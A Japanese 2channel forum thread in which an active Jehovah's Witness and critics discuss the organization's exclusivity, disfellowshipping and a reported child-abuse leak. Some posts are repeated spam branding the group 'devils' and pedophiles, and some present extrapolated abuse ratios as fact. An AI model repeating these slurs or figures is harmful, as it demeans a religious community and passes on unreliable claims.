現役エホ証が組織について真剣に考えるスレ

エホ証スレ乱立で大変申し訳ありません。
ここはいわゆるネタスレでなく、タイトル通り
組織について真剣に語り合うスレッドです。
煽り、ネタ、教理面での議論は極力御遠慮願います。

比較的まともだった現役スレがなくなった今、再度
私達の組織は本当に聖書的なのか？について真面目に
考えたいと思います。皆様の参加を心より歓迎いたします。

基本的にsage進行でいきましょう。

乱立問題が他宗派の人の間でよい証言となっていない時期なので

＞＞１　　あなたのことを　　無　　視　　します

重複だと思うなら
・誘導する
・sageる
これじゅーよー>>3さ

いや、でも、他あからさまに隔離スレなので、まともな現役様
スレッドがあったほうが助かるわ。。

ほんというと、子羊スレ(立ったばかり、だがいちおう[2])のほうで
新会衆作っていただけるとスレ圧縮時に向けてありがたいんだけどね。
# 最近、二週間くらいで圧縮かかる見当。WM裁判などスレ立て荒らし
# も多いので、次はもう少しすぐくるかも。

以上おせっかい。でもよろしこ。
# つか、現役様とまともに議論したい非エホ証の人の受け皿ないんだよね。
# 子羊やめざめじゃちときついと思はれ。どよ>>3

>>4
そーとー疲れがたまってきた御様子ですね、ゆーこときかぬ子に手を焼く
お母さんの情景にそっくりになってきた感じかな。

＞　# つか、現役様とまともに議論したい非エホ証の人の受け皿ないんだよね。
＞　# 子羊やめざめじゃちときついと思はれ。どよ>>3

オリハラ　がいいんじゃないかな　スレタイも穏当だし、
皆さんのレスの付け方次第でどっちに転ぶかまだ分からないっすけど。

＞1
２ちゃんで組織について真剣に語り合う
など無理に決まってるだろ。証言しなければ
行けない立場の人間がこんな所で組織の批判
的な事を書く矛盾。
私達の組織は本当に聖書的なのか？そんな事
てめー一人で考えろ。まず答えは出ませんが。

dendoさま
こちらこそよろしくお願いします。
スレの乱立の中、前向きな意見頂き感謝します。
こちらでまともな議論をしてくださいませ。
5さま
今稼動中のスレはどうもネタばっかりのような気がして新スレを
たてました（オリハラ兄弟スレはどうなのか分かりませんが）。
こちらは組織の問題点について現役なりに考える、極めて真面目な
スレを目指します。何卒御容赦の程を。

めざめさま
あなたの仰る事ももっともです。
ただ、あなたのたてたスレは現役スレを語っていながら、
あまりにもネタ的要素の多いスレとなっています。
少しばかりでもまともな現役スレがあってはいけないでしょうか？

＞１
気持ちは分るけど難しいと思うよ。
でも頑張ってくれ。良い方向に行くと良いね。

めざめさま
あたたかい言葉ありがとうございます。

すいません、いきなりあげてしましました…

私も参加させて頂いてよろしいでしょうか？

>>12
もちろん良いと思います。
でも、ご自分で立てられたスレの方も、毎日しっかりやっていただきたいです。

てか、それだったら一度これ沈めて(下のほうでdat落ちしない程度に=
三日に一度くらいsageで書きこんで)、折原兄弟スレを「現役まじめ系」スレ
として稼働させてほしいです。

てか、コテハンスレッドは2ch.net全体のルールで禁止なんですけど＞折原兄弟
……いま某宗教団体関係の荒らしと、中間テストでリア厨リア攻入ってくるのと
両方重なってるから、スレ乱立嫌なんですよ。。
よろしこ。。

たびたびすんまそ。
>>1
>教理面での議論は極力御遠慮願います。

あー。なるほど。「現役専用スレッド」ね……んーでも自治同好会的には
その趣旨は賛同できない。いままで他教派についても同じことお願いしてきたので
ましてここではいわせてもらうんだが、××専用というなら宗教板には
立てないでほしい。
かえって板住民の反発招くしね。カトスレの初期が「専用スレッド」
だったのに、今むしろ他教でも歓迎するようなテンプレになってるのは
そういう事態を反映してる。

「まじめに」考えようとしてるんだったら、こういうことも
まじめに考えてくれるだろうと思ってちょっとくだくだしいけど書きました。
ご配慮いただければ幸甚。

dendo.さま
現役専用スレとは決して考えていませんので御安心を。
タイトルに「専用」とは表記していないので大丈夫ではないかと。
教理の議論を御遠慮云々は、とかく輸血問題等すぐに話が脱線しがちで、
スレの本意からどんどん懸け離れていくことを懸念したまでです（それ
らの批判はふざけるなスレでできるかと思いますので）。
当然、組織の議論を重ねていくうえで、教理面の議論に発展することは
予想されます。私はそうした流れでの議論を望んでおります。
基本的にひっそりまたーりのスタンスで考えておりますので、dendo.さん
のご意見に沿いたいと思ってます。如何でしょうか？

折原兄弟
是非よろしくお願いします。

良いスレになることを期待してますよ

ありがとうございます＞17さま

では少しネタ振りを…

この組織の一番の問題点はなんでしょうか？
皆様も御指摘通り、JW組織はエホバの証人こそが真の宗教（組織）
であり、他の宗教、政府、あらゆる機関は全てサタンの配下にあるという、
極めて排他的な考えが中心にあるということです。
せっかく個人個人は愛に満ちた、人格的にも優れた（組織がそのように
教育した結果でもあると思います）人たちが多く集まる組織なのに、なにか
悪い方向へとどんどん進んでいくような恐ろしさを感じます。
私はエホバの証人を愛してますし、神の過分の御親切もこの組織を通して
教えられたと思っています。だからこそ、今の状況が悲しいのです。
インターネットがこれほど普及した今（これからはますます）、情報を
操作したり隠したりすることは難しくなってきます。各人が情報を吟味し、
自分で真理を選ぶことが不可欠です。その時どれほどの人がこの組織に
留まるのか？私はそれを見守りたいと思います。もしかしたら今のこの
渾沌とした状態は、まさに終わりの日、人が分けられているといえるのかも
しれませんが…。皆様の意見お待ちしております。

＞1
本当にエホバの聖霊の導きがある組織なのか？
が問題点だと思われます。

＞19
そこはもう信仰の問題だよね。
俺は少なくとも他の宗教とくらべればよっぽど
ましだと思うんだよね。ただの主観だけど。

＞19
じゃあ何故こんなに間違いが生じるんだろう？
エホバの導きなど無い証拠だと思いますが。

ごめん、＞２０だったよ・・

今の時代、神は奇跡は起こさないという考えで、
決して目に見える仕方や派手な証拠で信仰を抱くのは
神の本意ではないのでは？
油断せず見張ってよという聖書の言葉を当てはめているのがJW
なのでは？？

>>17
禿同。
>>16
おけー。sage信仰なのね。
じゃ、教義話やりたい人来たら、積極的に「ふざけるな」にふっちゃって
ください。逆にあちらからはこちらへ現役様誘導ってことで。
(折原兄弟スレはよくわからん。。)
ここのスレ、「ふざけるな」に貼っといてくださる？
リンク集にいれといた現役様スレ、datおちしちゃってるし。
# あれ保守しそこねたのは痛い。。

>>23
油断せず見張っていたら、間違いばかりだった
ので、この組織はおかしい、というのも考え方
だね。具体的な奇跡などではなく、エホバの証人
は、神の御意志って言葉を良く使うよね。
じゃあ組織が間違った発表をするのは神の意志なのか？
組織は神の導きで動いてるのではなかったっけ？
目に見えない導きを感じられない時点で人間の
意思で動く組織だと言う事だと思います。

まあ、結局のところ
自分達の言い訳を聖書の中から探し出してきて
都合よく引用しているだけの話だね。

ＪＷ組織の改革案。
１、宗教組織と出版部門を分ける。
　　（出版部門を株式会社にし、労働者との雇用関係を作る。）
２、組織は巡回監督以上に対しての雇用関係を作る。
３、信者の組合結成。

ﾏｼﾞﾆﾅﾗﾅｲﾃﾞｸﾀﾞｻｲ｡｡｡

乱立状態解消のために、「めざめ」スレの次は立てずに
「王国会館」(折原兄弟スレ)か子羊スレのどちらかに統合してほしい。

乱立状態解消のために、これ以上信者を集めずに
「会衆」や「王国会館」を統廃合してほしい。

「会衆」は統廃合してるみたいよ。
それに伴って「集会所」も統廃合してた気がしる。
あれ、このソースはなんだっけな。
ＪＷの発行の本だっけかな。。

王国会館スレは最近厨房による荒らしがおおい。
下手すりゃネタスレになりつつある。
めざめスレは完全なるパロディスレだから、ここを現役系
メインで残せばいいんじゃないかな？

不活発信者さま
ようこそ。
たしかにJWは油断せず見張っている態度を100年以上に
わたって続けてきましたね。清く道徳的に生きようという
精神は素晴らしいと思うのですが、結果子供への半強制的
な信仰の強要、一般社会への常識欠如など、よくない実も
生み出してきたね。考えさせられるところです。

めざめさま
神の御意志ととなえる宗教はJWに限らずどの宗教にも言える
ことだと思います。ただ、唯一まことの組織ととなえているから
皆失望するんです。これが果たして神の試練なのでしょうか？
私自身、まだ答えは見えません。どんな形にせよ、信仰は持って
いたいと思うのです…。

26さま
はたから見れば都合良く見えるのかもしれませんが、
その動機は良いものだと（だった？）思うのです。

とりあえずさま
基本的にsage進行なのでしばらく見守ってくださいな。

boy'sさま
JWの組織は結構会社組織みたいなもんですから、あながち冗談に
とれないところが悲しいです（苦笑）

いや端的に出版業者なのだと思うがね、ともとpublisherがいうのもあれですが
乱立スレッドの重複誘導をしても無視する、(たぶん現役様；ネタエホ証―けっこう多い―
の可能性は排除しないが)http://life.2ch.net/test/read.cgi/psy/1021432615/l50
の連中をちょと説得してやってくんねーか？

# ……かなりにネタくさいので、そもそも説得できない可能性はある。
だが、すべての現役様が乱立を許容してるんじゃないところを
板住民に証言するのもあんたらのためだろう(で、我々'背教者会衆'のためでもある；
こんなくそくだらねぇことのために、「宗教板出てけ」といわれたらたまらん)。

スレ上で誘導を試みるだけでなく、自治スレのほうにも
現役様から「乱立は不本意だし、これから自分たちの手で解消していく」つー
あいさつを入れておくことをおすすめする(他宗教はそれやってる)。
# そゆのちゃんとしないところが、エホ証いやがられるとこなんだよね。
# なんしか、はたからみてると、すげえ独善的。

それから、基本的に現役スレ同士の乱立解消・統合は現役様同士でやって
くだされ。私らでは事情わからんし。とりあえずこの手の「内部告発系」と
総合系(カトスレみたいなとこ：折原兄弟かなあ。。めざめは煽られ慣れてないところが
ちょと若いから)、あとネタ系ひとつ(で、用語と隔離数本でもうあっぷあっぷだね)、てなところが穏当なんじゃないかと思うが、
とにかく　自　治　し　て　く　れ。タノム。

長文かきこスマソ。
あとローマカトリックと東方正教会はお互いが使徒継承教会としての
正当性をもってることは認めあってるから。現状認識修正しといてね。
教義の正当性はまた別の話。きみらのキリスト教エキュメニズムの認識、
たぶん「ものみの塔」に基づいていて、それはかなりゆがんだ情報に
なちゃーてるから。東方はちょと頑固だけど、カトリックはそれこそ
非メルキト(カルケドンを告白しない教会。コプトとか)にも聖体拝領認めてるよ。

じゃねっ。

dendo.さま
だいぶ御立腹のようですね。
たしかに度々のスレ乱立は私どもからみても、頭を悩ませることで
あります。なぜあげるのか！と…小一時間…（以下略）
ただ理解して頂きたいのは、ここ2chにおける現役出没率は如何な
ものか？ということ。多分に辞めたJWさんたちによるネタのオン
パレードが多いような気がするのです。JWは非常にネタになりや
すいのです。私達がそこへ行ってこちらへ誘導を願っても、それこそ
またまた反対者によるあおりをくうおそれがあります（なんせ究極的
に言ってしまうと、現役こんなとこ来てていいのか？の一蹴で終わって
しまいますから）。そこのところ少し事情を汲み取って頂けないでしょう
か？dendo.さまも明らかなネタスレは静観の方向でどうでしょうか？

最後に私達のメンタリティがものみの塔中心であることに
疑問の余地はありませね。広い分野での勉強が必要ですね。

>せっかく個人個人は愛に満ちた、人格的にも優れた（組織がそのように
> 教育した結果でもあると思います）人たちが多く集まる組織なのに、

いつも注文ばっかでもうしわけないのでネタふり。
私が【交わった】会衆も基本的にはそうでした。でもそうじゃないとき
(どんどん兄弟姉妹が離れていったり排斥されたり)というときも何度か
経験しています。複数会衆でそうだったんで、ある程度構造的な要因が
あるんじゃないかと思います。巡回監督の質もじつはかなりバラつき
あるようですし(ベテルに近い巡回区とそうでないところの差がある、と
いう噂だが関東圏の会衆しか実地に知らないので、あくまで噂です)。

1さんの個人的経験をＪＷ全体に拡大するとかえってこの議論は成立しな
いと思います。広島会衆事件は御存知なんですよね？(WWWで探せるので
検索とかで詳細は調べてね)

dendo.さま

>せっかく個人個人は愛に満ちた、人格的にも優れた（組織がそのように
>教育した結果でもあると思います）人たちが多く集まる組織なのに、

あ、これはあくまで広い意味でのJW一般的イメージですよ。
僕の周りにもいろんな人がいますし、個々の人格や信者間の
様々な問題は、普通の人となんら変わらないし、むしろJW的
指向が凝り固まってる分、かえってかたくなで厄介な人も
多数います。ただ、そういった人間的弱さで起こる問題を、
聖書の知恵で改善しようと出版物等で教える姿勢、そしてそれに
応えようと努力する人たちが大勢いることは、誉れあることだと
思っています。しかし、結局長老、巡回監督等の教える任にあずかる
人の質の低下により、本当に純粋な信者がつまずき泣きを見る状況
は如何なものか。あまりに現場を顧みない（知らない）、組織上層部
が問題なのです。日本支部のトップだって、結局NYの本部にびくびく
なのですから。

広島会衆事件は既に読んでます。まさに組織のピラミッド構造を
如実に物語っていますよね。

いや、怒ってない。怒ってたらそもそも声をかけない。
そこまで親切ではないのでね。

ただ、憂えてる。
なんでかっつうのは自治スレ読んでくれればわかると思うけど、
この板はあんまり幸せな状態じゃなく、とくにいまはそうなので、
乱立はまずいのね。……2ch運営側から見放されてるも同然の状況だからさ、今。

dendo.さま
私も憂えてます…。
でもどうですか、dendo.さん。
スレ乱立とか、嵐って現役の仕業だけではないですよね。
むしろ、背教者会衆さんの質も下がっているんではないですか？
現役と見せかけ、バカな発言や行動をおこして評判をおとす。
この王道パターンが多い気が単純にするのですが。
現にめざめさんのスレは現役と語っていながら、違いますからね。
あ、でもここではめざめさんは非常に真摯な態度で接していただいて
るので感謝してますよ。

いったんあげとこ

卑怯者！

まだあげんでも…

ひっそりいこうや。
ロムってるだけだったけど。

私はエホバの商人の信者に勧誘され、断ると馬鹿と言われました。
証拠のテープレコーダーも持っています。
聖書を読め！聖書を読め！と強要してきます。
実名をあげてもよろしいでしょうか？

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

どうして排斥者とは話をしてはいけないのですか？
直前まで友達だったんじゃないの？
簡単に友達関係をやめるなんて、人としてどうか？と思う。
最低の組織だと思うがいかがですか？

エホバに入った時点で人の心など捨てたも同然です。
偽善集団＝エホバの証人

あたしが交際している相手はエホバ信者の男性なのですが別れてくれません。
本当に気持ち悪いです。

>>46
あまりに下らない排斥の理由がばれちゃうからだよ。

荒らさないでください。お願いします。

オレは排斥された人とも普通に話そうと思う。
それが理由で排斥するなら、それで結構です。
現役のみなさんはどう思いますか？

なお、めざめさんは答えなくていいです。

>>50
そうまで言うなら答えてやろう。
てめーはばかだから排斥

うー、あがった途端荒れてますね…。
50さま
私も普通に話そうと思います。
というか、そういうふうに考えている人のほうが実際
多いのでは？
排斥に関する取り決めも改善の余地大ありだと私は思います。

>>49
荒らしは脳内あぼーんしろ。できない君は2chにはむかん。
ひのあたにでもいけ(あちらのほうが荒らし対策充実してるしな)

で、どうしてもいやなら
ルーク、削除依頼板の心と宗教板レス削除申請スレッドを使え。
http://kaba.2ch.net/saku/

>>50 最後にそういうこと付け加えっと荒れるぞ。つか愛を持ちなされ;;

＞1
>>52についてなのですが、組織に所属する以上、
規則は絶対なのでは？それが守れない、理解できないなら
組織を離れるべきじゃないでしょうか。
排斥に関する取り決めが改善されるまでは、今の取り決め
を守る事が、組織に属する者の責任だと思われますが・・。

めざめさま
仰るとおりですね。ただ規則が絶対という件で言うならば
人間の規則ではなく神の言葉=聖書だけのはず。現在は不完全
な人間が人を審理しているから、良い動機のもとにそれを行って
いながら、様々な問題が引き起こっている。もう限界なんです。
2世の質の低下にしたってそう。支部は秘密裏にインナーチャイルド
とか進めてないで、もっと大々的に問題を一般信者に提起すべき。
奉仕会とかでそういうことを扱えばいいんですよ。そうすれば、信者
一人一人は少なからず安心するのでは。この件に関してはもっと
言いたいことがあるので、とりあえずこのへんにしておきます。

すいません、上の文、あまりめざめさんの問いに対する
答えになってませんね。というか分かりにくいですね。

つまりは、今の取り決めを守る事は確かに大切で支持する
べきです。ただ、各人が意見を交わしたり、悪いところは
改善するよう内部から促していくことは必要なことではないか
と思うです。

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

＞57
背教者やっぱり質が悪いよ

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

＞59
君もしつこいね。
こんなことやってて楽しい？

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

>>60
まったく情けない奴だ。誰にも相手に去れず、ある意味哀れだな。

61のほうが相手されてないよ。

＞１
>神の言葉=聖書だけのはず。現在は不完全
>な人間が人を審理しているから、良い動機のもとにそれを行って
>いながら、様々な問題が引き起こっている

これを言い出すときりが無いですね。
理不尽だと思う事でも、１さんの仰るとおり、
神の言葉=聖書だけなら、その不完全な人間を
まとめて、神の意志の下に運営されている
組織の取り決めは尚更絶対なのではないか？
と思ってしまいます。まず考え方を基本に戻して、
自分は何を通してエホバや聖書を知ったか、
と考えてみるのはどうでしょう？
おかしく思う事でも自分の信じたエホバの組織であり、
現段階においてその考え方か定められているなら、
黙ってそれに従う事が、この組織に属する者の
責任であり、信仰ではないでしょうか？

1さんの気持ちは分りますが、末端信者がどうあがいても
組織の姿勢は変えられない気がします。やりすぎれば注意を
受けるか、排斥になるのがオチでしょう。

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバにすがる奴は意思の無い人間です。これからも洗脳されつづけて不幸になってください。

あーーー、、、すいません。
僕があげてしまったばかりに。
タイミング悪かったみたいです。

めざめさま
いえいえ、組織は自らを絶対とは言ってないはず。
ただ従順や謙遜さを示すようにと繰り返し教えることに
よって、暗に上からの指示には従わなければいけないんですよ
と圧力をかけてるんです。従順さや謙遜さは、普段の生活に
当てはめたり、自分の人格を磨くにはよいことですからね。
そうやってあたかも、この組織の言う事が絶対で全て聖書的
なんだと曇らされてるわけです。しかしこれは決して悪意を
持ってそうやってるんではないと思うんですよね（組織は）。
よかれと思って一生懸命やってると思う。だからこそ、この
組織をまだ信頼できるし愛せるからこそ、いろいろ思うところ
が多いんですよね（神を知れたことをこの組織に感謝してますよ）。
でもこれを公にやると、めざめさんが言うように叱責またはおそらく
排斥なんですよね。
たしかに現状では末端信者に何も出来ませんが、統治体のメンバーも
だいぶ変わってきてるし、アメリカではもっとこういう動きが内部か
らでてきているのは事実です。見守っていきたいと思うのですが。

＞１
＞いえいえ、組織は自らを絶対とは言ってないはず。

分ってますよ。何かあったときの逃げとして何度も
聞きましたから。
ただ、現時点での組織の方針は信者の考え方の枠だと思います。
自分のまわりにも＞１さんのような考え方で、
結局は辞めた人が結構多いです。
そうならないよう、なんとか良い方向に行くと良いですね。

排斥という行為自体、それを行う者は正しく、間違いは犯さず、絶対であるという
象徴だと思います。
排斥の対象となる人の弁明が通ったことってありますか？
いや弁明の機会さえどれだけあるのか、疑問ですが。

１さんはたいへん、真剣に考えていらっしゃる。
今後、反対者としても、ただ反対のための反対ではない発言をしたいと思います。
気分は悪いかもしれませんが、読んでいただければ幸いです。

めざめさま
なんとか改善しようとしながら、結局組織に失望して
辞められていくということは、本当に悲しいことですね。
それは神の望むところではないはずですよね。
あたたかいお言葉ありがとうございます。

＞70さま
＞今後、反対者としても、ただ反対のための反対ではない発言を
したいと思います。

とてもあたたかいお言葉に感謝します。
反対者との対話は決して意味のないものだ（組織はそう
教える）と私には到底思えません。なぜこれほどJWを辞めて
いく人が多いのかを組織全体は冷静に見直す時期に来てると
私は思います。そうしないと、この組織はますます信者を減らし、
独善的で閉鎖的な方向へと進んでいくでしょう。
お互い敬意を払いながら、前向きな意見交換が出来ればと思います。
なお、排斥の件に関しては、悲しいかな70さんの意見におおむね
同意せざるを得ませんね。ただ、長老（会衆）によっては相当憐れみ
深い（そもそも排斥者を出さない）傾向を示してくださる兄弟も多く
います。

>1さん

人が組織を作って運営しようとする時点で
様々な問題が頻発することは避けられないのではないかと思います。
ただ「神の組織」という看板を掲げているものですから、
構成員があまりに期待しすぎてしまうきらいがあるのではないでしょうか？
それだけ失望も大きい。

築き上げている最中に横レスになりますが
じゃ、どの様にＪＷの教義や運営を変えたら良いかとなるのですが。
色々と反論が有るとは思いますが、
現実として「楽園」と「ハルマゲドン」で信者を呼び込みまた繋ぎ止めている。
という部分が大きく、これを無くしたら信者が減ると思います。
で、
「楽園」「ハルマゲドン」は宗教として信者を得やすくまた、関心を持たせるられる、
楽でてっとり早い方法だと思います。

えーとですね。なにを言いたいかはですね。
「楽園」「ハルマゲドン」を持ち出して信者を集めるのは反則技です。

あ〜あっ。。。　まとまりの無い話になりなした。

>>73
えーと、ここでは教理の話はしないってことで。。

で、教えを変えずに組織を変えられるかってことになると、
信者さんの立場でしか、考えられない気がします。
だから、私は静かにROMしています。

age

ふざけるな会衆からクリスチャン愛と挨拶をたずさえて参りました。
>で、教えを変えずに組織を変えられるかってことになると、
> 信者さんの立場でしか、考えられない気がします。

いや、あの風通しの悪いピラミッド組織はどうなのか、ということは
教義内容とはまた別でしょう。もちろん聖書的だと主張してるんだがね。

ところでややスレ違いで申しわけないんだが、「ふざけるな」の教理問答で
ちと気になることがあって事実の確認にきた。「あなたは地上の楽園で永遠に
生きられます」っていまでも配布してます？
それを前提にした議論をやってるので(たぶんここの教義はいじってないだろうが)
現在書きかわってるところがあれば、ご指摘希望。

……であんまりいいニュースじゃないけど、ブルックリン本部ねた、
またひとつ。まあ、この前ＵＳＡのどっかでという話は聞いてたので
そのうちもっと、とは思っていましたが。

日本でも数はすくないながらたぶんそういう問題が発生するだろうと
思います。構造的な問題だとすれば、だが。

>>77は、ふざけるなスレのこの話だね。

＞http://www.silentlambs.org/23720.htm
＞もしよかったら、↑の記事を読んで見て下さい。（英文です。）
＞何かスゴイ事になってます。

＞>>376
＞いやあ・・・・今回のはすごいね。23720件の児童虐待つか
＞性的虐待で、たぶんほとんどが公的機関にはいかずに会衆内の査問委員会で
＞処理されてる。……つーのがブルックリンベテルの「農場」(印刷所があるとこね)
＞のこんぷーたに入ってる、つーリーク。

72さま
まさしくおっしゃる通りです。
ただ一般信者にとっては、組識は非常に象徴的なもので、
普段はその存在をほとんど意識していないのが現状です。
ですから組織批判をする者を、あの人たちは人間的な見方しか
できない信仰の弱いものとなるのです。私はここに大きな問題が
あると思われます。

boy'sさま
世の中の悲惨な状況を見れば、自分の無力感を感じますよね。
結局JWはそこをついてくるわけです。人間にはどうにもならない。
聖書に希望を持とうと。そう言いたい気持ちも分かるんですがね。。
ただ、今はあまり時の緊急性を協調して、信者を集めたりはしない
傾向があります。生活の知恵（家族が幸福に暮らすための）を聖書
から提供する、そんな証言が勧められています。

74さま
あ、別に絶対NGってわけではないので、教理に関わる事でも機会が
あれば発言してください（スレをたてた責任上、舵取りのような
ことはするつもりですが仕切りたいとかいう気持ちは毛頭ございま
せんので）。私も出来る範囲で語ってますし、非常にスロー
ペースでしか参加できませんので、皆さんひっそりまたーり盛り上げ
てください（藁

dendo.さま
ありがとうございます。
＞皆様
ここ、真剣会衆からも愛と挨拶を送りたいと思いますがいかがですか？

地上の楽園の本は、基本的に配布してませんよ。
今は、「知識」という本がそれに変わってます。
最近はいろいろブロシュアーが出ていますので、それを
配布して研究にも用います。

で、ブルックリンネタ、、すごいですね。78さまも補足サンクスです。
本当なんでしょうか。
驚いたのは、性的虐待者の存在する比率です。やばいですね、、JW。

dendo.さま
ちなみに「知識」の本に変わった大きな（地上の楽園の本が
使われなくなった）理由は、御存知のとおり「この世代」に
関する教理の変更によるところが大きいです。

age

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

エホバの証人は悪魔集団　　　　　エホバの証人は悪魔集団

＞83
おまえが悪魔じゃ。ボケ。

エホバの証人はペド集団　　　　　エホバの証人はペド集団

エホバの証人はペド集団　　　　　エホバの証人はペド集団

エホバの証人はペド集団　　　　　エホバの証人はペド集団

エホバの証人はペド集団　　　　　エホバの証人はペド集団

＞85
あんた相当頭いかれてるね。御愁傷様。

アメリカのエホバの証人の２６０人に一人がペド
アメリカのエホバの証人の２６０人に一人がペド
アメリカのエホバの証人の２６０人に一人がペド
アメリカのエホバの証人の２６０人に一人がペド
アメリカのエホバの証人の２６０人に一人がペド
アメリカのエホバの証人の２６０人に一人がペド
アメリカのエホバの証人の２６０人に一人がペド
アメリカのエホバの証人の２６０人に一人がペド
アメリカのエホバの証人の２６０人に一人がペド
ついでに>>86もペド

>>83とか85とか87とか

あのさぁ、もういいから。
エホ証の連中もどうかと思うが、お前らも相当なクズだな。
２chでしか大口叩けない人間だってのは良くわかったから、
それ以上に何も主張してないような書き込みは止めれば？

性 的 倒 錯 者 達 ヨ リ ハ、マ シ ダ ロ ・ ・ ・

＞89
いや、87のほうがやばい

>>性 的 倒 錯 者 達 ヨ リ ハ、マ シ ダ ロ ・ ・ ・

って、何と比べて威張ってんだか・・・。
それに、マシとか言われても、あんたもいいセンいってるとおもうぞ。

アメリカのエホ証の２６０人に１人の割合で
ペドフィリアが居るって言うのは恐いね。

性犯罪者って言うのは、再犯率高いと言うが、大丈夫なのか？
エホバの証人？

アメリカの証人共、どうした、エホバ神への恐れが足りん
おまえらのせいでエホバの名が汚れる、
悪かったな、常識のわかる人達、終末が近いんで、エホバは
民を選んでいるのだよ。悔い改めるものはしょうがないが、
そうじゃないものは間違いなく組織から、破門するけえの。
悪事を働くものはまず、断絶しろ
そしてなんでもやったらええ。肉肉しい者共が・・

>>93
どうした？
仲間を非難して（ウプ、自己弁護して神のせいにして（ウプ、
興奮して広島弁で（ウプ、開き直ったりして（ウプ、

アメリカに限った事じゃないでしょ？（児童性的虐待問題）
多分、日本でも揉み消された事件多いんでないかい？
と、言ってみるテスト。

>94
批判じゃないよ、悲しいなーと思ってさ

結局、エホ証=完全な善人ではないんですよ。ただ、真実の教理
ですから、みんなで、信じて待ちましょうと、ただそれだけなんですよ。
罪があっても神の許しがありますよと、いうことなんですけどね。
そして神のおきてに従っていきましょうと努力している普通の人

>>97
急に殊勝なことを言うね。
いつもの絶対正しい的な論調はどこへ。
いつもの非信者をばかにしている態度もどこへ。

あ、ころころ変わるのも特徴だったっけ。

>98
君の認識はもともと間違ってるね。
絶対正しいなんて言わないし、信者でない人をバカに
なんかしてないよ。君の被害妄想だね。

>>99
じゃあ「ふざけるなスレ」を１からよく読みなおしてくれ。
単なる反対ではなく、一般的かつ客観的な疑問にもどう答えているか。

だいたいあんたの発言自体、正当な批判か？
被害妄想などと、主観に大きく頼った非難であり侮辱ではないか。

この一言ですでにバカにしていると感じますがいかが？

未熟もんですねん、あんま真にうけんといてや

＞９２
＞アメリカのエホ証の２６０人に１人の割合で
＞ペドフィリアが居るって言うのは恐いね。
↑
アンケートでも採ったの？(^^)

目覚めよ1985 4/22
子供に対するわいせつ行為―どの母親にとっても悪夢のような出来事 ***

まん延する問題

実を言えば,子供に対するわいせつ行為はずっと前から行なわれてきている事柄で,
今日それは確かにまん延しています。
1983年にニューヨーク市の婦女暴行対策諮問特別調査委員会の委員長は,
『婦女暴行,近親相姦,およびその他の形の性的虐待の犠牲になる幼い子供たちの数は著しく増加している』と報告しました。
米国のニューハンプシャー大学の家庭内暴力研究計画のデービッド･フィンケルホール博士は,
この問題に関する大規模な調査を実施しました。
そして,面接調査を受けた親の9％には,性的虐待を受けていた子供のいることを明らかにしました。
女性の15％および男性の6％は,子供のころ自分自身性的虐待を受けていました！

正確な統計を手に入れるのは困難ですが,米国では,国立児童虐待･放任対策センターに,
子供たちに対するわいせつ行為が1年間に5万5,399件あったという記録があります。
しかし,これは近親相姦による虐待の事例にすぎません。
友人,近所の人,教師,それに見知らぬ人々などによる性的虐待を加えると,その数字はかなり大きなものになります。
アメリカ児童福祉連盟のスポークスマンは「目ざめよ！」誌の記者に,「我々の手元にある数字は氷山の一角にすぎない」と語りました。

レディーズ･ホーム･ジャーナル誌に載せられた一記事は次のように推定しています。
「幼女に対する性的虐待のほうが広く見られ,大人の女性に対する婦女暴行の4倍に達する。
5歳から13歳までの間に,幼女4人につき一人の割で,露出癖,不穏当な愛撫,婦女暴行,
あるいは近親相姦など,大人による何らかの形の性的虐待のえじきにされている。
最もよく犠牲になるのは女の子であるが,襲われる子供の20ないし25％は男の子である」。

医師たちは,そのような性的虐待が長期にわたって有害な影響を及ぼすことを確信しています。
そこで,子供を持つ人はこう考えるでしょう。『うちの子は危険にさらされているだろうか。
子供たちを守るためにどんなことができるだろうか。子供たちに危害を加えようとするのはどんな種類の人でしょう。

【答え】
会衆の成員

>>102
http://www.silentlambs.org/
事件の事をまだ知らない人の為に。

http://www.jwic.com/n052802.htm
ここもどうぞ。

それは英語なので。
ふざけるなスレに邦訳されたものがありました。
boy's さんの書き込みが確かなら、エホ証に23720人のペドの信者リストがあって、
その割合をアメリカ国内に当てはめると42人にひとり、
世界に当てはめると260人にひとりになるという。

アメリカのエホ証42人に一人がペド・・・。

全文を確認する事をオススメします。

追加の説明

http://www.silentlambs.org/

